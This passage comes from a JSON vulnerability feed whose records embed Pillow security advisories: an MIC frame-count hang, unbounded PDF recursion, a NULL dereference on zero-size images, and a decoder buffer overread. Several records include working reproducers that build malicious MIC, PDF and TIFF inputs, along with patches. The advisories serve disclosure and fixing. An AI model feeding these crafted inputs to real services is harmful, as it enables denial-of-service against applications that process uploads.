TiffImagePlugin.TiffImageFile._open(self)\n \n+        # TiffImageFile._open() resets the frame count to that of the\n+        # embedded TIFF stream, but the frames of an MIC file are its streams\n+        self._n_frames = len(self.images)\n+        self.is_animated = self._n_frames > 1\n+\n         self.frame = frame\n \n     def tell(self) -> int:\n```\n\n## The reproducer\n\n<details>\n<summary>Reproducer — <code>repro</code>, 2,330 bytes (click to open)</summary>\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n# MicImageFile inherits TiffImageFile.n_frames, whose loop `self._seek(self.tell()+1)`\n# relies on tell() advancing; MicImageFile.tell() returns the OLE stream index (constant),\n# so a MIC file whose Image stream is a TIFF with >=3 chained IFDs makes im.n_frames spin forever.\nimport io, struct, subprocess, sys, tempfile, os\nfrom PIL import Image\n\ndef tiff(n):  # n-page TIFF written by Pillow itself\n    b = io.BytesIO(); fr = [Image.new(\"L\", (4, 4), i) for i in range(n)]\n    fr[0].save(b, \"TIFF\", save_all=True, append_images=fr[1:]); return b.getvalue()\n\ndef mic(stream):  # minimal OLE2 file: storage \"img0.ACI\" containing stream \"Image\"\n    END, FREE, FATSECT = 0xFFFFFFFE, 0xFFFFFFFF, 0xFFFFFFFD\n    data = stream.ljust(4096, b\"\\0\"); n = len(data) // 512\n    fat = [FATSECT, END] + [3 + k for k in range(n - 1)] + [END]; fat += [FREE] * (128 - len(fat))\n    def entry(name, kind, child, start, size):\n        raw = name.encode(\"utf-16-le\") + b\"\\0\\0\"\n        return raw.ljust(64, b\"\\0\") + struct.pack(\"<HBBiii\", len(raw), kind, 1, -1, -1, child) + b\"\\0\"*36 + struct.pack(\"<III\", start, size, 0)\n    d = entry(\"Root Entry\", 5, 1, END, 0) + entry(\"img0.ACI\", 1, 2, 0, 0) + entry(\"Image\", 2, -1, 2, len(data)) + b\"\\0\"*128\n    hdr = (b\"\\xd0\\xcf\\x11\\xe0\\xa1\\xb1\\x1a\\xe1\" + b\"\\0\"*16 + struct.pack(\"<HHHHH6x\", 0x3E, 3, 0xFFFE, 9, 6)\n           + struct.pack(\"<9I\", 0, 1, 1, 0, 4096, END, 0, END, 0) + struct.pack(\"<I\", 0) + b\"\\xff\"*432)\n    return hdr + struct.pack(\"<128I\", *fat) + d + data\n\nCHILD = \"import sys;from PIL import Image;im=Image.open(sys.argv[1]);print(im.format, 'n_frames =', im.n_frames)\"\ndef run(label, data, limit=20):\n    p = os.path.join(tempfile.mkdtemp(), \"x\"); open(p, \"wb\").write(data)\n    try:\n        r = subprocess.run([sys.executable, \"-c\", CHILD, p], capture_output=True, text=True, timeout=limit)\n        out = (r.stdout.strip() or r.stderr.strip().splitlines()[-1]); hung = False\n    except subprocess.TimeoutExpired:\n        out, hung = f\"STILL RUNNING after {limit}s (killed)\", True\n    print(f\"{label:32s} {len(data):6d} bytes -> {out}\"); return hung\n\nc1 = run(\"control: 3-page TIFF, direct\", tiff(3))\nc2 = run(\"control: MIC around 1-page TIFF\", mic(tiff(1)))\nbug = run(\"attack:  MIC around 3-page TIFF\", mic(tiff(3)))\nprint(\"BUG\" if bug and not c1 and not c2 else \"OK\")\n```\n</details>\n\n---","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-22hg-r758-rrw9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112390"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/26cb3ed061173b817b9ee4b6f507cb0e1e293218"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-112391","published":"2026-10-22T09:13:55Z","modified":"2026-10-29T21:58:11Z","upstream":["GHSA-254f-3936-288h","CVE-2026-112391","BIT-pillow-2026-112391"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"13.0.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow: PdfParser can recurse without limit in get_value() and linearize_page_tree()","details":"### Summary\n`PdfParser`'s `get_value()` can recurse without any limit and crash with an uncaught `RecursionError`. It is reachable through `Image.save(im, fp=<pdf>, format=\"PDF\", append=True)` when the existing PDF file is attacker-controlled. This is the same class of bug as https://github.com/advisories/GHSA-r73j-pqj5-w3x7 (the /Prev trailer chain loop, fixed earlier this year), in the same file, but in two different functions that fix did not touch.\n\n### Details\n**`get_value()` in `src/PIL/PdfParser.py`**\n\nThis is a classmethod that takes `max_nesting: int = -1` and has a guard:\n\n```python\nif max_nesting == 0:\n    return None, None\n```\n\nEvery recursive call (nested arrays, dictionaries, indirect object definitions) passes `max_nesting=max_nesting - 1`. Since the default and every call site start at -1, this only ever counts down further negative: -1, -2, -3, and so on. It never equals exactly 0, so the guard never runs. A PDF object with a value nested a few thousand levels deep is enough to hit Python's recursion limit. It does not even need a valid `/Pages` tree, since `read_pdf_info()` parses the `/Root` object's own dictionary first, before checking anything else.\n\nThis advisory reports a single vulnerability: an ineffective recursion-depth guard in `PdfParser.get_value()` (the sentinel  `-1`  default never reaches the `== 0` check). The mention of GHSA-r73j-pqj5-w3x7 is comparative context for an already-fixed, already-CVE'd bug in a different function — it is not a second vulnerability being reported. The three trigger paths (nested arrays/dicts/indirect objects) are not independently fixable; they share one root cause and one fix location in  get_value() .\n\n### Steps to reproduce\nBoth PDFs below are plain text, built directly in Python, no PDF library needed.\n\n```python\nfrom PIL.PdfParser import PdfParser\n\ndef build_pdf(root):\n    out = bytearray(b\"%PDF-1.4\\n\")\n    offset = len(out)\n    out += f\"1 0 obj\\n\".encode()\n    out += root\n    out += b\"\\nendobj\\n\"\n    out += b\"xref\\n\"\n    out += f\"0 2\\n\".encode()\n    out += b\"0000000000 65535 f \\n\"\n    out += f\"{offset:010d} 00000 \".encode() + b\"n \\n\"\n    xref_offset = len(out)\n    out += b\"xref\\n\"\n    out += f\"0 2\\n\".encode()\n    out += b\"0000000000 65535 f \\n\"\n    out += f\"{offset:010d} 00000 \".encode() + b\"n \\n\"\n    out += b\"trailer\\n\"\n    out += f\"<< /Size 2 /Root 1 0 R >>\\n\".encode()\n    out += b\"startxref\\n\"\n    out += f\"{xref_offset}\\n\".encode()\n    out += b\"%%EOF\"\n    return bytes(out)\n\nbomb = b\"[\" * 3000 + b\"]\" * 3000\nroot = b\"<< /Type /Catalog /Pages 2 0 R /Bomb \" + bomb + b\" >>\"\nwith open(\"nesting_bomb.pdf\", \"wb\") as f:\n    f.write(build_pdf(root))\n\nPdfParser(\"nesting_bomb.pdf\")     # raises RecursionError\n```\n\nExpected: a clean `PdfFormatError`.\n\nActual: raises a raw `RecursionError: maximum recursion depth exceeded`.\n\n### Impact\n- Availability: an attacker who controls the content of a PDF file that an application later appends an image page to (`Image.save(..., format=\"PDF\", append=True)`) can crash that request with a RecursionError, using a file of a few hundred bytes.\n- Confidentiality: none.\n- Integrity: none.\n- Pillow cannot open PDFs for reading through `Image.open()`. `PdfParser` is only reached through the append-mode save path, so the app has to be doing that specific thing (for example, stamping or watermarking an existing PDF) for this to matter.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-254f-3936-288h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112391"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/94cb11c44ff7345414da17ebfea1598a529ad9cd"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-112392","published":"2026-10-22T09:13:55Z","modified":"2026-10-29T21:58:11Z","upstream":["GHSA-27h8-gf7j-v5hc","CVE-2026-112392","BIT-pillow-2026-112392","PYSEC-2026-4326"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"13.0.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow: NULL dereference in ImagingExpand via rank filters on zero-size images","details":"```\n============================================================================\nNULL dereference in ImagingExpand via rank filters on zero-size images\nLocation: src/libImaging/Filter.c:79  in ImagingExpand()\nCommit:   a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nApplying Pillow's median, minimum, maximum or rank filter to an image with zero width or zero height crashes the whole Python process instead of raising an error. Empty images like this are easy to produce with ordinary calls, for example a crop box whose left and right edges (or top and bottom edges) are equal, or the second page of a crafted multi-page image file. An attacker who can supply crop coordinates or an uploaded file to an application that runs one of these filters can kill its worker process. The effect is a crash only, with no memory disclosure or corruption.\n\nThe fault is in `ImagingExpand()` in `src/libImaging/Filter.c`. This is the edge-padding step that `RankFilter.filter()` always runs through the core `expand()` method, so `MedianFilter`, `MinFilter` and `MaxFilter` go through it too. It fills the margin by copying the input's edge pixels, reading `imIn->image[y][0]` and rows `0` / `ysize-1`, and never checks that the input has any pixels. For an empty image, `ImagingAllocateArray` leaves the line pointers NULL, so the first read dereferences NULL and the process dies with SIGSEGV, in every mode.\n\nZero-size images reach this point through public API alone:\n\n- `Image.crop()`, `ImageOps.crop()` and `Image.new()`;\n- a multi-page TIFF opened by path whose second IFD declares `ImageLength = 0`, on which `seek(1)` and `load()` succeed.\n\nEvery other `ImageFilter` returns an empty image for the same inputs. The zero-height case has crashed since the original PIL import, and the zero-width case since Pillow 4.3.0. This is separate from the `margin == 0` fix in #9755: the path is the same, but here the degenerate value is the image size rather than the kernel size. It has the same shape as the zero-dimension `ImagingOffset` crash fixed under GHSA-f87v-9578-p47w.\n\nThe attached reproducer shows a one-pixel-wide control crop filtering normally, while four empty crops passed through the rank filters are each killed by SIGSEGV. A patch that returns early in `ImagingExpand` for empty input is included.\n\n## Details\n\n`ImagingExpand()` (`src/libImaging/Filter.c`), the edge-padding helper that `ImageFilter.RankFilter` runs before the actual rank filter, reads the first pixel of each input line without checking that the input has any pixels. For an image with width 0 or height 0 the line pointers are NULL, so `Image.filter()` with `MedianFilter`, `MinFilter`, `MaxFilter` or `RankFilter` kills the interpreter with SIGSEGV instead of returning or raising:\n\n```python\nfrom PIL import Image, ImageFilter\nim = Image.new(\"L\", (10, 10)).crop((3, 0, 3, 10))   # size (0, 10); crop() accepts left == right\nim.filter(ImageFilter.MedianFilter(3))               # SIGSEGV\n```\n\nUnder gdb on the stock build the fault is at `ImagingExpand (imIn=…, margin=1) at src/libImaging/Filter.c:105` (the `EXPAND(UINT8, image8)` expansion), called from `_expand_image` at `src/_imaging.c:1151`, with `imIn->xsize = 0` and `imIn->image[0] = 0x0`. The same happens for every mode the rank filters accept (`L`, `RGB`, `RGBA`, `I`, `F`), and the core `expand(m)` method with `m >= 1` crashes the same way in any mode, including `P`. The same input through `BoxBlur`, `GaussianBlur`, `Kernel`, `ModeFilter` and `UnsharpMask` returns a `(0, 10)` image; a `(1, 10)` crop through `MedianFilter` also returns normally.\n\nThe unchecked edge reads date from the PIL import (`9a640e315`, 2010, so every Pillow release): the zero-height case has crashed since then, and the zero-width case since `fd907fbdc` (\"Fix 0-width and 0-height images other way\", Pillow 4.3.0), which stopped backing zero-width images with a dummy block and left their row pointers NULL. It is adjacent to the `margin == 0` divide-by-zero fix in #9755 — same `expand()` → `ImagingExpand()` path, but the unhandled degenerate value here is the image size rather than the kernel size.\n\nThe path:\n\n```python\n# src/PIL/ImageFilter.py:111-116   RankFilter.filter  (MedianFilter/MinFilter/MaxFilter subclass it)\n        image = image.expand(self.size // 2)\n        return image.rankfilter(self.size, self.rank)\n```\n\n`expand(m)` with `m > 0` is `ImagingExpand(self->image, m)` (`src/_imaging.c:1142-1151`). It validates only `margin`, allocates an output of `(xsize+2*margin) × (ysize+2*margin)` — which is non-empty, so the allocation succeeds — and then fills the margin by replicating edge pixels of the input:\n\n```c\n// src/libImaging/Filter.c:70-101\n    imOut =\n        ImagingNewDirty(imIn->mode, imIn->xsize + 2 * margin, imIn->ysize + 2 * margin);\n    …\n#define EXPAND_LINE(type, image, yin, yout)                       \\\n    {                                                             \\\n        for (x = 0; x < margin; x++) {                            \\\n            imOut->image[yout][x] = imIn->image[yin][0];          \\   // line 79\n        }                                                         \\\n        …                                                         \\\n        for (x = 0; x < margin; x++) {                            \\\n            imOut->image[yout][margin + imIn->xsize + x] =        \\\n                imIn->image[yin][imIn->xsize - 1];                \\   // [-1] when xsize == 0\n        }                                                         \\\n    }\n\n#define EXPAND(type, image)                                                      \\\n    {                                                                            \\\n        for (y = 0; y < margin; y++) {                                           \\\n            EXPAND_LINE(type, image, 0, y);                                      \\   // line 0 of a 0-line image\n        }                                                                        \\\n        …\n        for (y = 0; y < margin; y++) {                                           \\\n            EXPAND_LINE(type, image, imIn->ysize - 1, margin + imIn->ysize + y); \\   // line -1 when ysize == 0\n        }                                                                        \\\n    }\n```\n\nWhy the line pointers are NULL: `ImagingNewPrologueSubtype` callocs the `im->image` pointer array (`src/libImaging/Storage.c:216`, at least one entry), and `ImagingAllocateArray` returns before assigning any of them for an empty image:\n\n```c\n// src/libImaging/Storage.c:423-426\n    /* 0-width or 0-height image. No need to do anything */\n    if (!im->linesize || !im->ysize) {\n        return im;\n    }\n```\n\nSo with `xsize == 0` every `imIn->image[y]` is NULL and `imIn->image[yin][0]` faults; with `ysize == 0` the top-margin pass reads `imIn->image[0]` (the single calloc'd NULL slot) and faults the same way, and the bottom-margin pass would index `imIn->image[-1]`. `ImagingRankFilter` is never reached.\n\nZero-size images are ordinary objects in Pillow and arrive at `filter()` through public API only:\n\n- `Image.crop(box)` rejects only inverted boxes (`src/PIL/Image.py:1385-1390`); `left == right` or `upper == lower` yields a 0×N / N×0 image. `ImageOps.crop(im, border)` with `border == width // 2`, and `Image.new(mode, (0, n))`, do the same.\n- From a file: `ImageFile.__init__` refuses a zero first-frame size (`src/PIL/ImageFile.py:167-173`), but `TiffImagePlugin._setup()` takes `ImageWidth`/`ImageLength` of every later IFD as-is on `seek()` (`src/PIL/TiffImagePlugin.py:1468-1481`). For an uncompressed page of an image opened by path, `ImageFile.load()` takes the mmap branch (`src/PIL/ImageFile.py:307, 325-347`) and `Image.core.map_buffer` builds an `8×0` core image without complaint (`src/map.c:127-141`), so `im.seek(1); im.load()` succeeds and a following `im.filter(ImageFilter.MedianFilter(3))` segfaults in `ImagingExpand` exactly as above (verified under gdb: `imIn->ysize = 0`, `imIn->image[0] = 0x0`). A 384-byte two-page TIFF is enough.\n\n## Impact\n\nDenial of service: the whole embedding process (web worker, pipeline process) dies with SIGSEGV rather than the request failing with a Python exception. It is reachable by a remote user in two realistic shapes: (a) an application that crops an upload to user-supplied coordinates and then applies a median/min/max filter (denoise, dilate/erode, thumbnail clean-up) — a box with `x0 == x1` or `y0 == y1` passes `crop()` and crashes the worker; (b) an application that opens an uploaded TIFF from disk by path, iterates its pages and applies a rank filter to each — a crafted second IFD with `ImageLength = 0` crashes it. The faulting access is a read at address 0 (or a fixed small negative offset from the pointer array for the `[-1]` cases, which is not reached because the first read already faults), so there is no memory disclosure or corruption beyond the crash. The same shape, a zero-dimension image crashing C code reached through public API, was fixed in `ImagingOffset` in 39d14a0db (GHSA-f87v-9578-p47w).\n\n## Reproducing\n\n`repro` is a single Python script that uses the installed Pillow as-is (no rebuild). It runs each case in a fresh child interpreter, with core dumps disabled. That way a segfault shows up as the child's exit status and the script itself keeps running. Each child builds `Image.new(\"L\", (10, 10)).crop(box)`, prints its size, calls `im.filter(...)` and then prints the size of the result.\n\n- **Control**: a `(1, 10)` crop (`(3, 0, 4, 10)`) through `MedianFilter(3)`. The rank filter accepts a thin image and must return normally.\n- **PoC**: the rank filters on empty crops.\n  - A `(0, 10)` crop (`left == right`, `(3, 0, 3, 10)`) through `MedianFilter(3)` and `MaxFilter(5)`.\n  - A `(10, 0)` crop (`upper == lower`, `(0, 3, 10, 3)`) through `MinFilter(3)`.\n  - A `(0, 0)` crop (`(3, 3, 3, 3)`) through `RankFilter(3, 4)`.\n\nExpected output on the stock build:\n\n```\n  crop(3, 0, 4, 10)    MedianFilter(3)    (1, 10) -> (1, 10)\n  crop(3, 0, 3, 10)    MedianFilter(3)    (0, 10) -> killed by SIGSEGV\n  crop(3, 0, 3, 10)    MaxFilter(5)       (0, 10) -> killed by SIGSEGV\n  crop(0, 3, 10, 3)    MinFilter(3)       (10, 0) -> killed by SIGSEGV\n  crop(3, 3, 3, 3)     RankFilter(3, 4)   (0, 0) -> killed by SIGSEGV\nBUG\n```\n\nThe size printed before `->` shows that the empty image was created without error. The crash happens inside `filter()`, in `ImagingExpand`. The last line is `BUG` if the control returned normally and at least one rank-filter child was killed by SIGSEGV. Otherwise it is `OK`. The script covers the crop route only; the TIFF route described above fails the same way (`im.seek(1); im.load(); im.filter(ImageFilter.MedianFilter(3))` on a by-path two-page TIFF whose second IFD has `ImageLength = 0`). With the attached patch, every PoC line prints the unchanged size (for example `(0, 10) -> (0, 10)`) and the script prints `OK`.\n\n## Suggested fix\n\nThe attached patch handles the empty input in `ImagingExpand` (`src/libImaging/Filter.c`), right after the `margin` checks and before the `ImagingNewDirty` allocation and the replication loops. With `xsize == 0` or `ysize == 0` there are no edge pixels to replicate, so it returns a zeroed (`ImagingNew`, not `ImagingNewDirty`) image of the expanded size, with the input's palette copied. This keeps `ImagingExpand`'s size contract, so `ImagingRankFilter` then produces an output of `xsize - 2*margin` × `ysize - 2*margin`, i.e. the original empty size, matching every other filter. It mirrors the existing zero-dimension early returns in `src/libImaging/BoxBlur.c` (127004368) and `src/libImaging/Offset.c` (39d14a0db):\n\n```diff\n--- a/src/libImaging/Filter.c\n+++ b/src/libImaging/Filter.c\n@@ -67,6 +67,17 @@ ImagingExpand(Imaging imIn, int margin) {\n         return (Imaging)ImagingError_ValueError(\"filter size too large\");\n     }\n \n+    if (imIn->xsize == 0 || imIn->ysize == 0) {\n+        /* No edge pixels to replicate (and no lines to read from), so\n+           return a zeroed image of the expanded size */\n+        imOut = ImagingNew(imIn->mode, imIn->xsize + 2 * margin, imIn->ysize + 2 * margin);\n+        if (!imOut) {\n+            return NULL;\n+        }\n+        ImagingCopyPalette(imOut, imIn);\n+        return imOut;\n+    }\n+\n     imOut =\n         ImagingNewDirty(imIn->mode, imIn->xsize + 2 * margin, imIn->ysize + 2 * margin);\n     if (!imOut) {\n```\n\nThe patch also adds `test_rankfilter_zero_dimension` next to `test_rankfilter_error` in `Tests/test_image_filter.py`, which filters `Image.new(\"L\", size)` for `size` in `((0, 6), (6, 0), (0, 0))` with `MinFilter`, `MedianFilter`, `MaxFilter` and `RankFilter(3, 2)` and asserts the size is preserved. Applied to a clean checkout and rebuilt, the reproducer prints `OK` and `Tests/test_image_filter.py` passes. A Python-level guard in `RankFilter.filter` (`if 0 in image.size: return image.copy()`) would also stop the crash, but the C-level check protects any other caller of `expand()`.\n\n## The patch\n\nReturn a zeroed image from ImagingExpand when the input has zero width or height instead of reading NULL line pointers\n\nApplies to `src/libImaging/Filter.c` at the commit above.\n\n```diff\ndiff --git a/Tests/test_image_filter.py b/Tests/test_image_filter.py\nindex 974d4b7a3..8dc8e1a1a 100644\n--- a/Tests/test_image_filter.py\n+++ b/Tests/test_image_filter.py\n@@ -155,6 +155,23 @@ def test_rankfilter_error(filter: ImageFilter.RankFilter) -> None:\n         im.filter(filter).getpixel((1, 1))\n \n \n+@pytest.mark.parametrize(\n+    \"filter\",\n+    (\n+        ImageFilter.MinFilter,\n+        ImageFilter.MedianFilter,\n+        ImageFilter.MaxFilter,\n+        ImageFilter.RankFilter(3, 2),\n+    ),\n+)\n+@pytest.mark.parametrize(\"size\", ((0, 6), (6, 0), (0, 0)))\n+def test_rankfilter_zero_dimension(\n+    filter: ImageFilter.RankFilter, size: tuple[int, int]\n+) -> None:\n+    im = Image.new(\"L\", size)\n+    assert im.filter(filter).size == size\n+\n+\n def test_rankfilter_properties() -> None:\n     rankfilter = ImageFilter.RankFilter(3, 2)\n \ndiff --git a/src/libImaging/Filter.c b/src/libImaging/Filter.c\nindex 3492a871f..d702db5f9 100644\n--- a/src/libImaging/Filter.c\n+++ b/src/libImaging/Filter.c\n@@ -67,6 +67,17 @@ ImagingExpand(Imaging imIn, int margin) {\n         return (Imaging)ImagingError_ValueError(\"filter size too large\");\n     }\n \n+    if (imIn->xsize == 0 || imIn->ysize == 0) {\n+        /* No edge pixels to replicate (and no lines to read from), so\n+           return a zeroed image of the expanded size */\n+        imOut = ImagingNew(imIn->mode, imIn->xsize + 2 * margin, imIn->ysize + 2 * margin);\n+        if (!imOut) {\n+            return NULL;\n+        }\n+        ImagingCopyPalette(imOut, imIn);\n+        return imOut;\n+    }\n+\n     imOut =\n         ImagingNewDirty(imIn->mode, imIn->xsize + 2 * margin, imIn->ysize + 2 * margin);\n     if (!imOut) {\n```\n\n## The reproducer\n\n<details>\n<summary>Reproducer — <code>repro</code>, 1,333 bytes (click to open)</summary>\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n# Pillow: rank filters (Median/Min/Max/RankFilter) on a 0-wide or 0-high image\n# SIGSEGV in ImagingExpand (src/libImaging/Filter.c) - NULL line pointer read.\n# Each case runs in a child interpreter; BUG if the control returns and any\n# zero-size case dies of SIGSEGV.\nimport signal, subprocess, sys\n\nCHILD = \"\"\"\nimport resource; resource.setrlimit(resource.RLIMIT_CORE, (0, 0))\nfrom PIL import Image, ImageFilter\nim = Image.new(\"L\", (10, 10)).crop(%s)      # public API; crop accepts x0==x1 / y0==y1\nprint(im.size, \"->\", end=\" \", flush=True)\nprint(im.filter(ImageFilter.%s).size)\n\"\"\"\n\ndef run(box, flt):\n    p = subprocess.run([sys.executable, \"-c\", CHILD % (box, flt)],\n                       capture_output=True, text=True)\n    out = p.stdout.strip()\n    if p.returncode < 0:\n        out += \" killed by \" + signal.Signals(-p.returncode).name\n    print(f\"  crop{box!s:<16} {flt:<18} {out}\")\n    return p.returncode\n\nctrl = run((3, 0, 4, 10), \"MedianFilter(3)\")          # (1,10): must work\nrcs = [run((3, 0, 3, 10), \"MedianFilter(3)\"),        # (0,10)\n       run((3, 0, 3, 10), \"MaxFilter(5)\"),\n       run((0, 3, 10, 3), \"MinFilter(3)\"),           # (10,0)\n       run((3, 3, 3, 3), \"RankFilter(3, 4)\")]        # (0,0)\nbug = ctrl == 0 and any(rc == -signal.SIGSEGV for rc in rcs)\nprint(\"BUG\" if bug else \"OK\")\n```\n</details>\n\n---","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-27h8-gf7j-v5hc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112392"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/443e3130a8c11594fd0e296afad497e11e678961"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-112394","published":"2026-10-22T09:13:55Z","modified":"2026-10-29T21:58:11Z","upstream":["GHSA-4558-3h8r-v8xp","CVE-2026-112394","BIT-pillow-2026-112394","PYSEC-2026-4327"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"13.0.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow: P;2L and P;4L decoders may read 1 to 3 bytes past the passed buffer size","details":"### Summary\n\nOn `main`, even with the guard in #9725, it's possible to have these decoders read 1 to 3 bytes past the end of the passed buffer with a suitable width/height.\n\n### Details\n\n`ImagingRawDecode` and the `P;2L` / `P;4L` unpackers disagree about how many bytes a line of data occupies.\n\nThe raw decoder derives the line size from the bits per pixel\n\n```c\nstate->bytes = (state->xsize * state->bits + 7) / 8;\n```\n\nand uses it both for the bounds check and to advance to the next line. For `P;2L` and `P;4L`, `bits` is 2 and 4 respectively.\n\nBut these two rawmodes are not packed pixels but 2 or 4 *bit planes*, each padded to a whole number of bytes. `unpackP2L` computes `s = (pixels + 7) / 8` and reads plane *k* at offset `k * s`, and `unpackP4L` does the same across four planes. Their real footprint is therefore `planes * ((xsize + 7) / 8)`.\n\nFor some widths, padding each plane separately makes this footprint larger than `state->bytes`. For example, at width 1, the decoder accounts for one byte, while the unpackers read two or four bytes. The decoder accepts data that is too short for the last line and on the other hand advances to subsequent lines by less than a line, so every line after the first is also read from the wrong offset.\n\n#9725's check is misshapen for this:\n\n* It can reject data of the right length: 8x1 `P;2L` image is 2 bytes but is not accepted.\n* It still accepts buffers shorter than the unpackers require for a given image shape.\n* It measures the length with `len(data)`, which is an element count rather than a byte count; e.g. `memoryview(array(\"I\", [0,0,0,0,0]))` (20 bytes) is rejected while `mv.tobytes()` is accepted.\n\n### PoC ( `ghsa_p2l_p4l.py`)\n\n```python\nfrom array import array\nfrom PIL import Image\n\n# 1 byte past\nImage.frombytes(\"P\", (1, 4), array(\"B\", [0] * 4), \"raw\", \"P;2L\")\n\n# 3 bytes past\nImage.frombytes(\"P\", (1, 8), array(\"B\", [0] * 8), \"raw\", \"P;4L\")\n```\nis the almost-simplest reproducer.\n\n(`array` is needed to get ASan to reliably scream, but the overread is observable with e.g. bytes literals. Python allocates `bytes`es with an extra trailing null byte, from an arena by default to boot, so ASan doesn't see the overread.)\n\nOn my Mac, I can get ASan to scream about this with\n\n```bash\nexport asan=$(clang -print-file-name=libclang_rt.asan_osx_dynamic.dylib)\nenv CFLAGS=\"-fsanitize=address -fno-omit-frame-pointer -g -O1\" LDFLAGS=\"-fsanitize=address\" uv pip install -e .\nenv DYLD_INSERT_LIBRARIES=$asan PYTHONMALLOC=malloc ASAN_OPTIONS=detect_leaks=0 python3 ghsa_p2l_p4l.py\n```\n\nlike so:\n\n<details>\n\n```\npython3(29144,0x202fea2c0) malloc: nano zone abandoned due to inability to reserve vm space.\nunpackP2L: in=0x602000037370 i=0 j=0 pixels=1 reads 0x602000037370 0x602000037371\nunpackP2L: in=0x602000037371 i=0 j=0 pixels=1 reads 0x602000037371 0x602000037372\nunpackP2L: in=0x602000037372 i=0 j=0 pixels=1 reads 0x602000037372 0x602000037373\nunpackP2L: in=0x602000037373 i=0 j=0 pixels=1 reads 0x602000037373 0x602000037374\n=================================================================\n==29144==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000037374 at pc 0x00010778c684 bp 0x00016d029f40 sp 0x00016d029f38\nREAD of size 1 at 0x602000037374 thread T0\n    #0 0x00010778c680 in unpackP2L+0x17c (_imaging.cpython-314-darwin.so:arm64+0xb4680)\n    #1 0x000107765360 in ImagingRawDecode+0x348 (_imaging.cpython-314-darwin.so:arm64+0x8d360)\n    #2 0x0001076f259c in _decode+0x15c (_imaging.cpython-314-darwin.so:arm64+0x1a59c)\n    #3 0x0001030d921c in method_vectorcall_VARARGS.llvm.8905850704545875072+0x84 (python3.14:arm64+0x10030521c)\n    #4 0x000102e585b8 in _TAIL_CALL_CALL.llvm.12785051352303791014+0x13c (python3.14:arm64+0x1000845b8)\n    #5 0x000102f1c17c in _PyEval_Vector+0x308 (python3.14:arm64+0x10014817c)\n    #6 0x000102f31864 in PyEval_EvalCode+0x9c (python3.14:arm64+0x10015d864)\n    #7 0x000102f3fa14 in run_mod.llvm.1224844961852478530+0x120 (python3.14:arm64+0x10016ba14)\n    #8 0x000103063eb0 in pyrun_file+0xa0 (python3.14:arm64+0x10028feb0)\n    #9 0x000102dfe834 in _PyRun_SimpleFileObject+0xfc (python3.14:arm64+0x10002a834)\n    #10 0x00010306cb60 in _PyRun_AnyFileObject+0x4c (python3.14:arm64+0x100298b60)\n    #11 0x00010306ca54 in pymain_run_file_obj+0xa0 (python3.14:arm64+0x100298a54)\n    #12 0x000102ffb80c in pymain_run_file+0x44 (python3.14:arm64+0x10022780c)\n    #13 0x000102ff7d0c in Py_RunMain+0x46c (python3.14:arm64+0x100223d0c)\n    